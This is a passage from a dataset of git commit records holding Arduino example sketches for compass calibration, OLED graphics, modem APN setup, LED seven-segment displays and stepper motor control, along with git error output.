Wire library and join the I2C bus as a master or slave\n Wire.begin(); \n \n \/\/ Initiate LSM303\n compass.init();\n \n \/\/ Enables Accelerometer and Magnetometer\n compass.enableDefault(); \n \n compass.setMagGain(compass.magGain_13); \/\/ highest sensitivity: +\/- 1.3 gauss range (this is the default)\n compass.writeMagReg(CRA_REG_M, CRA_REG_M_220HZ); \/\/ 220 Hz compass update rate (default is 15 Hz)\n \n \/\/ To calibrate the magnetometer we must spin the Zumo to find the Max\/Min\n \/\/ magnetic vectors. This information is used to find North and East.\n motors.setLeftSpeed(SPEED);\n motors.setRightSpeed(-SPEED);\n \n float min_x_avg[CALISIZE];\n float min_y_avg[CALISIZE];\n float max_x_avg[CALISIZE]; \n float max_y_avg[CALISIZE];\n\n for(index = 0; index < CALISIZE; index ++)\n {\n \/\/ Read in magnetic vector m\n compass.read();\n \n running_min.x = min(running_min.x, compass.m.x);\n running_min.y = min(running_min.y, compass.m.y);\n \n running_max.x = max(running_max.x, compass.m.x);\n running_max.y = max(running_max.y, compass.m.y);\n \n min_x_avg[index] = running_min.x;\n min_y_avg[index] = running_min.y;\n \n max_x_avg[index] = running_max.x;\n max_y_avg[index] = running_max.y;\n delay(100);\n Serial.println(index);\n }\n \n Serial.println(\"Left loop\");\n motors.setLeftSpeed(0);\n motors.setRightSpeed(0);\n \/\/delay(2000);\n \/\/ Throw out outliers and take a better average\n running_max.x = bestAverage(max_x_avg,CALISIZE);\n running_max.y = bestAverage(max_y_avg,CALISIZE);\n running_min.x = bestAverage(min_x_avg,CALISIZE);\n running_min.y = bestAverage(min_y_avg,CALISIZE);\n \n Serial.print(\"max.x \");\n Serial.print(running_max.x);\n Serial.println();\n Serial.print(\"max.y \");\n Serial.print(running_max.y);\n Serial.println();\n Serial.print(\"min.x \");\n Serial.print(running_min.x);\n Serial.println();\n Serial.print(\"min.y \");\n Serial.print(running_min.y);\n Serial.println();\n \n \/\/ Set calibrated values to compass.m_max and compass.m_min\n compass.m_max.x = running_max.x;\n compass.m_max.y = running_max.y; \n compass.m_min.x = running_min.x;\n compass.m_min.y = running_min.y;\n}\n\nvoid loop() \n{ \n \/\/ LSM303::vector{1,0,0} starts our heading to point North\n \/\/ Heading is given in degrees away from North, increasing clockwise\n heading = findBestHeading();\n \n \/\/ This gives us our relative heading in respect to the angle we want to drive in\n relativeHeading = findRelativeHeading(heading);\n \n Serial.print(\"Driving Angle: \");\n Serial.print(drivingAngle);\n Serial.print(\" Adjusted Angle: \");\n Serial.print(relativeHeading);\n Serial.print(\" Heading \");\n Serial.print(heading);\n \n \/\/ We want to take a relative heading and turn 90 degrees to make our right turn\n if((relativeHeading < deviateRightAngle) || (relativeHeading > deviateLeftAngle))\n {\n motors.setLeftSpeed(SPEED);\n motors.setRightSpeed(SPEED);\n Serial.print(\" Straight\");\n \n \/\/ We now want to turn 90 degrees relative to the direction we are pointing at.\n \/\/ This will help account for variable magnetic field.\n drivingAngle = (drivingAngle + 90)%360;\n delay(1000);\n } \n else \n {\n if((relativeHeading - deviateRightAngle)<(deviateLeftAngle - relativeHeading))\n\t{\n turnLeft(relativeHeading - deviateRightAngle);\n Serial.print(\" Turn Left\");\n }\n else\n\t{\n turnRight(deviateLeftAngle - relativeHeading);\n Serial.print(\" Turn Right\");\n }\n }\n Serial.println();\n}\n\n\/\/ bestAverage finds an overall average while taking outlier \n\/\/ measurements out of the equation for calibration\nfloat bestAverage(float * average,int array_size)\n{\n float temp_value;\n float sum = 0;\n int upper_limit = array_size-array_size\/3;\n int lower_limit = array_size\/3;\n \/\/ First we sort the data so we can find the middle data.\n for(int i = array_size; i > -1; i --)\n {\n for(int j = 0; j < i; j ++)\n\t{\n if(average[i]<average[j])\n\t {\n temp_value = average[i];\n average[i]=average[j];\n average[j] = temp_value;\n }\n }\n }\n\n \/\/ We then exclude the outliers out of the average \n \/\/ by only averaging up the the middle third of the data\n for(int i = lower_limit; i <upper_limit ; i ++)\n {\n sum += average[i];\n }\n return sum\/((float)(upper_limit-lower_limit));\n}\n\n\/\/ The closer we get to our driving angle, the slower we will turn.\n\/\/ We do not want to overshoot our direction.\n\/\/ turnRight(), takes in the ideal speed and refactors it accordingly to how close\n\/\/ the zumo is pointing towards the direction we want to drive.\nvoid turnRight(int refactor)\n{\n float adjust = ((float)refactor)\/180.0;\n motors.setRightSpeed(-SPEED*adjust - 100);\n motors.setLeftSpeed(SPEED*adjust + 100);\n}\n\n\/\/ The closer we get to our driving angle, the slower we will turn.\n\/\/ We do not want to overshoot our direction.\n\/\/ turnLeft(), takes in the ideal speed and refactors it accordingly to how close\n\/\/ the zumo is pointing towards the direction we want to drive.\nvoid turnLeft(int refactor)\n{\n float adjust = ((float)refactor)\/180.0;\n motors.setRightSpeed(SPEED*adjust + 100);\n motors.setLeftSpeed(-SPEED*adjust - 100);\n}\n\n\/\/ Yields a relative heading in respect to our driving angle\/heading\nint findRelativeHeading(int heading)\n{\n int relativeHeading;\n \n if(drivingAngle < heading){\n relativeHeading = heading - drivingAngle;\n }\n else\n {\n relativeHeading = heading + (360 - drivingAngle);\n }\n\n return relativeHeading;\n}\n\n\/\/ We average 10 vectors to get a better measurement. The motors cause too much (magnetic) noise.\nint findBestHeading()\n{\n averageHeading.x = 0;\n averageHeading.y = 0;\n for(int i = 0; i < 10; i ++)\n {\n compass.read();\n averageHeading.x += compass.m.x;\n averageHeading.y += compass.m.y; \n }\n averageHeading.x \/= 10.0;\n averageHeading.y \/= 10.0;\n compass.m = averageHeading;\n return compass.heading((LSM303::vector){1,0,0}); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ZumoMotors\/examples\/CompassExample\/CompassExample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7a6baa14e965ce1112cadc90d97fd0f1c118d5fe","subject":"Add calib-luce example","message":"Add calib-luce example\n","repos":"EmanueleGiacomini\/icaro-robotics,EmanueleGiacomini\/icaro-robotics","old_file":"lectures\/calib-luce\/calib-luce.ino","new_file":"lectures\/calib-luce\/calib-luce.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/EmanueleGiacomini\/icaro-robotics.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"95e1f3a86d2ca3b74ed4379ec71b1fffd75b5099","subject":"Create ssd1306_128x64_spi.ino","message":"Create ssd1306_128x64_spi.ino","repos":"niklashagemann\/Adafruit_SSD1306,stephanjroux\/Adafruit_SSD1306","old_file":"ssd1306_128x64_spi.ino","new_file":"ssd1306_128x64_spi.ino","new_contents":"\/*********************************************************************\nThis is an example for our Monochrome OLEDs based on SSD1306 drivers\n\n Pick one up today in the adafruit shop!\n ------> http:\/\/www.adafruit.com\/category\/63_98\n\nThis example is for a 128x64 size display using SPI to communicate\n4 or 5 pins are required to interface\n\nAdafruit invests time and resources providing this open source code, \nplease support Adafruit and open-source hardware by purchasing \nproducts from Adafruit!\n\nWritten by Limor Fried\/Ladyada for Adafruit Industries. \nBSD license, check license.txt for more information\nAll text above, and the splash screen must be included in any redistribution\n*********************************************************************\/\n\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n\n\/* Uncomment this block to use hardware SPI\n\/\/ If using software SPI (the default case):\n#define OLED_MOSI D0\n#define OLED_CLK D1\n#define OLED_DC D2\n#define OLED_CS D3\n#define OLED_RESET D4\nAdafruit_SSD1306 display(OLED_MOSI, OLED_CLK, OLED_DC, OLED_RESET, OLED_CS);\n*\/\n\n\/\/ use hardware SPI\n#define OLED_DC D3\n#define OLED_CS D4\n#define OLED_RESET D5\nAdafruit_SSD1306 display(OLED_DC, OLED_RESET, OLED_CS);\n\n\n#define NUMFLAKES 10\n#define XPOS 0\n#define YPOS 1\n#define DELTAY 2\n\n#define LOGO16_GLCD_HEIGHT 16 \n#define LOGO16_GLCD_WIDTH 16 \nstatic const unsigned char PROGMEM logo16_glcd_bmp[] =\n{ 0B00000000, 0B11000000,\n 0B00000001, 0B11000000,\n 0B00000001, 0B11000000,\n 0B00000011, 0B11100000,\n 0B11110011, 0B11100000,\n 0B11111110, 0B11111000,\n 0B01111110, 0B11111111,\n 0B00110011, 0B10011111,\n 0B00011111, 0B11111100,\n 0B00001101, 0B01110000,\n 0B00011011, 0B10100000,\n 0B00111111, 0B11100000,\n 0B00111111, 0B11110000,\n 0B01111100, 0B11110000,\n 0B01110000, 0B01110000,\n 0B00000000, 0B00110000 };\n\n#if (SSD1306_LCDHEIGHT != 64)\n#error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n\nvoid setup() { \n Serial.begin(9600);\n \n \/\/ by default, we'll generate the high voltage from the 3.3v line internally! (neat!)\n display.begin(SSD1306_SWITCHCAPVCC);\n \/\/ init done\n \n display.display(); \/\/ show splashscreen\n delay(2000);\n display.clearDisplay(); \/\/ clears the screen and buffer\n\n \/\/ draw a single pixel\n display.drawPixel(10, 10, WHITE);\n display.display();\n delay(2000);\n display.clearDisplay();\n\n \/\/ draw many lines\n testdrawline();\n display.display();\n delay(2000);\n display.clearDisplay();\n\n \/\/ draw rectangles\n testdrawrect();\n display.display();\n delay(2000);\n display.clearDisplay();\n\n \/\/ draw multiple rectangles\n testfillrect();\n display.display();\n delay(2000);\n display.clearDisplay();\n\n \/\/ draw mulitple circles\n testdrawcircle();\n display.display();\n delay(2000);\n display.clearDisplay();\n\n \/\/ draw a white circle, 10 pixel radius\n display.fillCircle(display.width()\/2, display.height()\/2, 10, WHITE);\n display.display();\n delay(2000);\n display.clearDisplay();\n\n testdrawroundrect();\n delay(2000);\n display.clearDisplay();\n\n testfillroundrect();\n delay(2000);\n display.clearDisplay();\n\n testdrawtriangle();\n delay(2000);\n display.clearDisplay();\n \n testfilltriangle();\n delay(2000);\n display.clearDisplay();\n\n \/\/ draw the first ~12 characters in the font\n testdrawchar();\n display.display();\n delay(2000);\n display.clearDisplay();\n\n \/\/ draw scrolling text\n testscrolltext();\n delay(2000);\n display.clearDisplay();\n \n \/\/ text display tests\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(0,0);\n display.println(\"Hello, world!\");\n display.setTextColor(BLACK, WHITE); \/\/ 'inverted' text\n display.println(3.141592);\n display.setTextSize(2);\n display.setTextColor(WHITE);\n display.print(\"0x\"); display.println(0xDEADBEEF, HEX);\n display.display();\n delay(2000);\n\n \/\/ miniature bitmap display\n display.clearDisplay();\n display.drawBitmap(30, 16, logo16_glcd_bmp, 16, 16, 1);\n display.display();\n\n \/\/ invert the display\n display.invertDisplay(true);\n delay(1000); \n display.invertDisplay(false);\n delay(1000); \n\n \/\/ draw a bitmap icon and 'animate' movement\n testdrawbitmap(logo16_glcd_bmp, LOGO16_GLCD_HEIGHT, LOGO16_GLCD_WIDTH);\n}\n\n\nvoid loop() {\n \n}\n\n\nvoid testdrawbitmap(const uint8_t *bitmap, uint8_t w, uint8_t h) {\n uint8_t icons[NUMFLAKES][3];\n \n \/\/ initialize\n for (uint8_t f=0; f< NUMFLAKES; f++) {\n icons[f][XPOS] = random(display.width());\n icons[f][YPOS] = 0;\n icons[f][DELTAY] = random(5) + 1;\n \n Serial.print(\"x: \");\n Serial.print(icons[f][XPOS], DEC);\n Serial.print(\" y: \");\n Serial.print(icons[f][YPOS], DEC);\n Serial.print(\" dy: \");\n Serial.println(icons[f][DELTAY], DEC);\n }\n\n while (1) {\n \/\/ draw each icon\n for (uint8_t f=0; f< NUMFLAKES; f++) {\n display.drawBitmap(icons[f][XPOS], icons[f][YPOS], logo16_glcd_bmp, w, h, WHITE);\n }\n display.display();\n delay(200);\n \n \/\/ then erase it + move it\n for (uint8_t f=0; f< NUMFLAKES; f++) {\n display.drawBitmap(icons[f][XPOS], icons[f][YPOS], logo16_glcd_bmp, w, h, BLACK);\n \/\/ move it\n icons[f][YPOS] += icons[f][DELTAY];\n \/\/ if its gone, reinit\n if (icons[f][YPOS] > display.height()) {\n\ticons[f][XPOS] = random(display.width());\n\ticons[f][YPOS] = 0;\n\ticons[f][DELTAY] = random(5) + 1;\n }\n }\n }\n}\n\n\nvoid testdrawchar(void) {\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(0,0);\n\n for (uint8_t i=0; i < 168; i++) {\n if (i == '\\n') continue;\n display.write(i);\n if ((i > 0) && (i % 21 == 0))\n display.println();\n } \n display.display();\n}\n\nvoid testdrawcircle(void) {\n for (int16_t i=0; i<display.height(); i+=2) {\n display.drawCircle(display.width()\/2, display.height()\/2, i, WHITE);\n display.display();\n }\n}\n\nvoid testfillrect(void) {\n uint8_t color = 1;\n for (int16_t i=0; i<display.height()\/2; i+=3) {\n \/\/ alternate colors\n display.fillRect(i, i, display.width()-i*2, display.height()-i*2, color%2);\n display.display();\n color++;\n }\n}\n\nvoid testdrawtriangle(void) {\n for (int16_t i=0; i<min(display.width(),display.height())\/2; i+=5) {\n display.drawTriangle(display.width()\/2, display.height()\/2-i,\n display.width()\/2-i, display.height()\/2+i,\n display.width()\/2+i, display.height()\/2+i, WHITE);\n display.display();\n }\n}\n\nvoid testfilltriangle(void) {\n uint8_t color = WHITE;\n for (int16_t i=min(display.width(),display.height())\/2; i>0; i-=5) {\n display.fillTriangle(display.width()\/2, display.height()\/2-i,\n display.width()\/2-i, display.height()\/2+i,\n display.width()\/2+i, display.height()\/2+i, WHITE);\n if (color == WHITE) color = BLACK;\n else color = WHITE;\n display.display();\n }\n}\n\nvoid testdrawroundrect(void) {\n for (int16_t i=0; i<display.height()\/2-2; i+=2) {\n display.drawRoundRect(i, i, display.width()-2*i, display.height()-2*i, display.height()\/4, WHITE);\n display.display();\n }\n}\n\nvoid testfillroundrect(void) {\n uint8_t color = WHITE;\n for (int16_t i=0; i<display.height()\/2-2; i+=2) {\n display.fillRoundRect(i, i, display.width()-2*i, display.height()-2*i, display.height()\/4, color);\n if (color == WHITE) color = BLACK;\n else color = WHITE;\n display.display();\n }\n}\n \nvoid testdrawrect(void) {\n for (int16_t i=0; i<display.height()\/2; i+=2) {\n display.drawRect(i, i, display.width()-2*i, display.height()-2*i, WHITE);\n display.display();\n }\n}\n\nvoid testdrawline() { \n for (int16_t i=0; i<display.width(); i+=4) {\n display.drawLine(0, 0, i, display.height()-1, WHITE);\n display.display();\n }\n for (int16_t i=0; i<display.height(); i+=4) {\n display.drawLine(0, 0, display.width()-1, i, WHITE);\n display.display();\n }\n delay(250);\n \n display.clearDisplay();\n for (int16_t i=0; i<display.width(); i+=4) {\n display.drawLine(0, display.height()-1, i, 0, WHITE);\n display.display();\n }\n for (int16_t i=display.height()-1; i>=0; i-=4) {\n display.drawLine(0, display.height()-1, display.width()-1, i, WHITE);\n display.display();\n }\n delay(250);\n \n display.clearDisplay();\n for (int16_t i=display.width()-1; i>=0; i-=4) {\n display.drawLine(display.width()-1, display.height()-1, i, 0, WHITE);\n display.display();\n }\n for (int16_t i=display.height()-1; i>=0; i-=4) {\n display.drawLine(display.width()-1, display.height()-1, 0, i, WHITE);\n display.display();\n }\n delay(250);\n\n display.clearDisplay();\n for (int16_t i=0; i<display.height(); i+=4) {\n display.drawLine(display.width()-1, 0, 0, i, WHITE);\n display.display();\n }\n for (int16_t i=0; i<display.width(); i+=4) {\n display.drawLine(display.width()-1, 0, i, display.height()-1, WHITE); \n display.display();\n }\n delay(250);\n}\n\nvoid testscrolltext(void) {\n display.setTextSize(2);\n display.setTextColor(WHITE);\n display.setCursor(10,0);\n display.clearDisplay();\n display.println(\"scroll\");\n display.display();\n \n display.startscrollright(0x00, 0x0F);\n delay(2000);\n display.stopscroll();\n delay(1000);\n display.startscrollleft(0x00, 0x0F);\n delay(2000);\n display.stopscroll();\n delay(1000); \n display.startscrolldiagright(0x00, 0x07);\n delay(2000);\n display.startscrolldiagleft(0x00, 0x07);\n delay(2000);\n display.stopscroll();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ssd1306_128x64_spi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"41335ff3dfacc2386a740919a90249a90dfe2b34","subject":"add Leonardo example","message":"add Leonardo example\n","repos":"netarc\/serial-modem,attm2x\/m2x-serial-modem,attm2x\/m2x-serial-modem,netarc\/serial-modem","old_file":"SerialModem\/examples\/ArduinoLeonardo\/ArduinoLeonardo.ino","new_file":"SerialModem\/examples\/ArduinoLeonardo\/ArduinoLeonardo.ino","new_contents":"#include \"SerialModem.h\"\n\nvoid setup() {\n Serial.begin(115200);\n while (!Serial);\n\n SerialModem.setDriver(DRIVER_SIM5218);\n SerialModem.setSerial(&Serial1, 115200);\n while (!SerialModem.ready()) {\n Serial.println(\"waiting for modem ready..\");\n delay(100);\n }\n\n while (SerialModem.getNetworkStatus() < NETWORK_STATUS_ROAMING) {\n Serial.println(\"waiting for network registration\");\n delay(2000);\n }\n\n while (!SerialModem.setAPN(PROGMEM_STR(\"m2m.com.attz\"))) {\n Serial.println(\"setting APN\");\n delay(2000);\n }\n}\n\nvoid loop() {\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SerialModem\/examples\/ArduinoLeonardo\/ArduinoLeonardo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6f100103faa7ab89984db7f15a8ba824bf459231","subject":"Create CRGBSet_7segment_2digits.ino","message":"Create CRGBSet_7segment_2digits.ino","repos":"marmilicious\/FastLED_examples","old_file":"CRGBSet_7segment_2digits.ino","new_file":"CRGBSet_7segment_2digits.ino","new_contents":"\/\/***************************************************************\n\/\/ Two digit seven segment number display example using CRGBArray and CRGBSet.\n\/\/ A number from 0-99 can be displayed. This demo repeats counting from 0 to 25.\n\/\/\n\/\/ For this example the number segments are wired in the following layout:\n\/\/ http:\/\/imgur.com\/cgabMfK\n\/\/ It also assumes that each segment has the same number of pixels. This is\n\/\/ a variable below which can easily be changed. This example uses 5 pixels\n\/\/ per segment.\n\/\/\n\/\/\n\/\/ Marc Miller, Oct 2016\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n\n#define DATA_PIN 11\n#define CLK_PIN 13\n#define LED_TYPE APA102\n#define COLOR_ORDER BGR\n#define NUM_LEDS 70\n#define BRIGHTNESS 40\n#define FRAMES_PER_SECOND 120\n\nuint8_t pps = 5; \/\/ number of Pixels Per Segment\nCHSV segON10(142,200,255); \/\/ color of 10s digit segments\nCHSV segON(42,255,255); \/\/ color of 1s digit segments\n\n\/* CRGB leds[NUM_LEDS]; <--not using this. Using CRGBArray instead. *\/\nCRGBArray<NUM_LEDS> leds;\n\n\/\/ Name segments (based on layout in link above) and define pixel ranges.\nCRGBSet segA( leds(pps*0, pps-1+(pps*0) ));\nCRGBSet segB( leds(pps*1, pps-1+(pps*1) ));\nCRGBSet segC( leds(pps*2, pps-1+(pps*2) ));\nCRGBSet segD( leds(pps*3, pps-1+(pps*3) ));\nCRGBSet segE( leds(pps*4, pps-1+(pps*4) ));\nCRGBSet segF( leds(pps*5, pps-1+(pps*5) ));\nCRGBSet segG( leds(pps*6, pps-1+(pps*6) ));\n\nuint8_t count = 0; \/\/ keeps track of what number to display\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(3000); \/\/ 3 second delay for recovery\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n FastLED.clear(); \/\/ Initially clear all pixels\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop()\n{\n EVERY_N_MILLISECONDS(1000){\n setSegments(count); \/\/ Determine which segments are ON or OFF\n count++; \/\/ Advance the count by one\n if (count > 25) { count = 0; } \/\/ Reset count back to zero\n }\n FastLED.delay(1000\/FRAMES_PER_SECOND); \n}\n\n\n\n\/\/---------------------------------------------------------------\nvoid setSegments(uint8_t count){\n \/\/ Based on the current count set number segments on or off\n uint8_t c1 = 0; \/\/ Variable to store 1s digit\n uint8_t c10 = 0; \/\/ Variable to store 10s digit\n uint8_t c;\n CHSV segCOLOR(0,0,0);\n\n if (count > 9) { \/\/ Split out 1s and 10s digits if count is greater then 9\n c1 = count % 10;\n c10 = count \/ 10;\n } else {\n c1 = count;\n c10 = 0;\n }\n \n \/\/Serial.print(\"count = \"); Serial.print(count); \/\/ Print to serial monitor current count\n \/\/Serial.print(\"\\t 10s: \"); Serial.print(c10); \/\/ Print 10s digit\n \/\/Serial.print(\" 1s: \"); Serial.println(c1); \/\/ Print 1s digit\n\n \/\/ Operate on 1s digit segments first, shift them over, and then do the 10s digit segments\n for (uint8_t i=0; i < 2; i++) {\n if (i == 0) {\n c = c1;\n segCOLOR = segON;\n } else {\n c = c10;\n segCOLOR = segON10;\n }\n\n segA = segB = segC = segD = segE = segF = segG = CRGB::Black; \/\/ Initially set segments off\n\n if (c == 0) { segB = segC = segD = segE = segF = segG = segCOLOR; }\n if (c == 1) { segB = segG = segCOLOR; }\n if (c == 2) { segA = segB = segC = segE = segF = segCOLOR; }\n if (c == 3) { segA = segB = segC = segF = segG = segCOLOR; }\n if (c == 4) { segA = segB = segD = segG = segCOLOR; }\n if (c == 5) { segA = segC = segD = segF = segG = segCOLOR; }\n if (c == 6) { segA = segC = segD = segE = segF = segG = segCOLOR; }\n if (c == 7) { segB = segC = segG = segCOLOR; }\n if (c == 8) { segA = segB = segC = segD = segE = segF = segG = segCOLOR; }\n if (c == 9) { segA = segB = segC = segD = segF = segG = segCOLOR; }\n\n if (i == 0) { \/\/ Shift segments over to 1s digit display area\n for (uint8_t p=0; p < (7*pps); p++) {\n leds[p+(7*pps)] = leds[p];\n }\n }\n\n \/\/----Comment this out if you want the 10s digit to display zeros----\n if (c10 == 0 && i == 1) { \/\/ If count is less then 10 set all 10s digit segments off\n segA = segB = segC = segD = segE = segF = segG = CRGB::Black;\n }\n \/\/-------------------------------------------------------------------\n\n }\n}\/\/end setSegments\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CRGBSet_7segment_2digits.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e644a5bf7cd2ccf53bb7208136f8541b5354efcb","subject":"Create stepper-serial-degree.ino","message":"Create stepper-serial-degree.ino\n\n\/\/ This sketch requires a serial connection to keyboard for input\r\n\/\/ of numbers to control motor revolutions. For Mac, I used the\r\n\/\/ program 'screen' on terminal. You can use terminal commmand\r\n\/\/ 'ls \/dev\/tty.*' to identify the usb serial connection, then use \r\n\/\/ command 'screen \/dev\/tty.YOURDEVICE 9600' to connect... you will \r\n\/\/ replace 'YOURDEVICE' with your usb serial connection identified above.","repos":"jashtonSF\/spice-machine","old_file":"firmware\/stepper-serial-degree.ino","new_file":"firmware\/stepper-serial-degree.ino","new_contents":"\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Spice machine stepper motor control v1.0 \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Justin Ashton \n\/\/ (c) J. Ashton & Company, Inc., 2016\n\/\/ \n\/\/ some code modified from Dan Thompson http:\/\/danthompsonsblog.blogspot.com\/ &\n\/\/ from http:\/\/www.schmalzhaus.com\/EasyDriver \n\/\/\n\/\/ Hardware setup: Particle Photon, Easy Driver v4.5, NEMA 17, 12v power\n\/\/\n\/\/ This sketch requires a serial connection to keyboard for input\n\/\/ of numbers to control motor revolutions. For Mac, I used the\n\/\/ program 'screen' on terminal. You can use terminal commmand\n\/\/ 'ls \/dev\/tty.*' to identify the usb serial connection, then use \n\/\/ command 'screen \/dev\/tty.YOURDEVICE 9600' to connect... you will \n\/\/ replace 'YOURDEVICE' with your usb serial connection identified above.\n\/\/\n\/\/ Enter '1' for full revolution\n\/\/ Enter '2' for half revolution\n\/\/ Enter '3' for quarter revolution\n\/\/ Enter '4' for eigth revolution\n\n\n\n\/\/Declare pin mapping\nint dir = D0;\nint stp = D1;\n\n\nchar user_input;\n\n\nvoid setup() {\n pinMode(stp, OUTPUT);\n pinMode(dir, OUTPUT);\n digitalWrite(dir, LOW);\n digitalWrite(stp, LOW);\n Serial.begin(9600); \/\/Open Serial connection for keyboard control\n Serial.println(\"Begin motor control\");\n Serial.println();\n}\n\nvoid loop() {\n \n while(Serial.available()){\n user_input = Serial.read(); \/\/Read user input and trigger appropriate action\n switch (user_input){\n case '1':\n Serial.println(\"1. Full revolution.\");\n rotateDeg(360, .1);\n delay(500);\n break;\n \n case '2':\n Serial.println(\"2. 1\/2 revolution.\");\n rotateDeg(180, .1); \n delay(500);\n break;\n \n case '3':\n Serial.println(\"3. 1\/4 revolution.\");\n rotateDeg(90, .1); \n delay(500);\n break;\n \n case '4':\n Serial.println(\"4. 1\/8 revolution.\");\n rotateDeg(45, .1); \n delay(500);\n break;\n \n default:\n Serial.println(\"Invalid option entered.\");\n \/\/Print function list for user selection\n Serial.println(\"Enter number for motor control\");\n Serial.println(\"1. Full revolution.\");\n Serial.println(\"2. 1\/2 revolution.\");\n Serial.println(\"3. 1\/4 revolution.\");\n Serial.println(\"4. 1\/8 revolution.\");\n Serial.println();\n }\n \n }\n }\n\nvoid rotateDeg(float deg, float speed){ \n \/\/rotate a specific number of degrees\n \/\/speed is any number from .01 -> 1 with 1 being fastest - Slower is stronger\n \n digitalWrite(dir,LOW); \/\/ rotates motor clockwise; change to HIGH for reverse\n\n int steps = abs(deg)*(1\/0.225); \/\/ designed for Easy Driver default: 1\/8 step\n float usDelay = (1\/speed) * 70;\n\n for(int i=0; i < steps; i++){ \n digitalWrite(stp, HIGH); \n delayMicroseconds(usDelay); \n digitalWrite(stp, LOW); \n delayMicroseconds(usDelay); \n } \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/stepper-serial-degree.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1b2f6a8705048be3801b351191f222e7caf75aad","subject":"Create ShowArrow.ino","message":"Create ShowArrow.ino","repos":"ht-deko\/microbit_Screen","old_file":"examples\/ShowArrow\/ShowArrow.ino","new_file":"examples\/ShowArrow\/ShowArrow.ino","new_contents":"#include \"microbit_Screen.h\"\n\nvoid setup() {\n SCREEN.begin();\n}\n\nvoid loop() {\n for (int i = 0; i < 8; i++)\n SCREEN.showArrow(i);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ShowArrow\/ShowArrow.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0ec7013ce77fb78a33b75d5b49912a90d6945e86","subject":"Added benchmark test to sketches","message":"Added benchmark test to sketches","repos":"lexus2k\/ssd1306,lexus2k\/ssd1306,lexus2k\/ssd1306,lexus2k\/ssd1306","old_file":"examples\/benchmark\/benchmark.ino","new_file":"examples\/benchmark\/benchmark.ino","new_contents":"\/*\r\n MIT License\r\n\r\n Copyright (c) 2016-2018, Alexey Dynda\r\n\r\n Permission is hereby granted, free of charge, to any person obtaining a copy\r\n of this software and associated documentation files (the \"Software\"), to deal\r\n in the Software without restriction, including without limitation the rights\r\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n copies of the Software, and to permit persons to whom the Software is\r\n furnished to do so, subject to the following conditions:\r\n\r\n The above copyright notice and this permission notice shall be included in all\r\n copies or substantial portions of the Software.\r\n\r\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n SOFTWARE.\r\n*\/\r\n\r\n\r\n#define SSD1306_DIRECT_TEST(X) X\r\n#define SSD1306_GFX_TEST(X) 0\r\n#define SSD1306_ENGINE_TEST(X) 0\r\n#define ADAFRUIT_TEST(X) 0\r\n#define U8G2_TEST(X) 0\r\n\r\n#define TEST_I2C 0\r\n#define TEST_SPI 1\r\n\r\n#define TEST_INTERFACE TEST_SPI\r\n\r\n\r\n\r\n\r\n#if SSD1306_DIRECT_TEST(1) || SSD1306_ENGINE_TEST(1) || SSD1306_GFX_TEST(1)\r\n#include \"ssd1306.h\"\r\n#if SSD1306_GFX_TEST(1)\r\n#include \"nano_gfx.h\"\r\nuint8_t data[1024];\r\nNanoCanvas display(128,64,data);\r\n#endif\r\n#if SSD1306_ENGINE_TEST(1)\r\n#include \"nano_engine.h\"\r\nuint8_t data[1024];\r\nNanoCanvas1 display(128,64,data);\r\n#endif\r\n\r\n#elif ADAFRUIT_TEST(1)\r\n#include <Adafruit_GFX.h>\r\n#include <Adafruit_SSD1306.h>\r\n#if TEST_INTERFACE == TEST_SPI\r\nAdafruit_SSD1306 display(5,3,4);\r\n#elif TEST_INTERFACE == TEST_I2C\r\nAdafruit_SSD1306 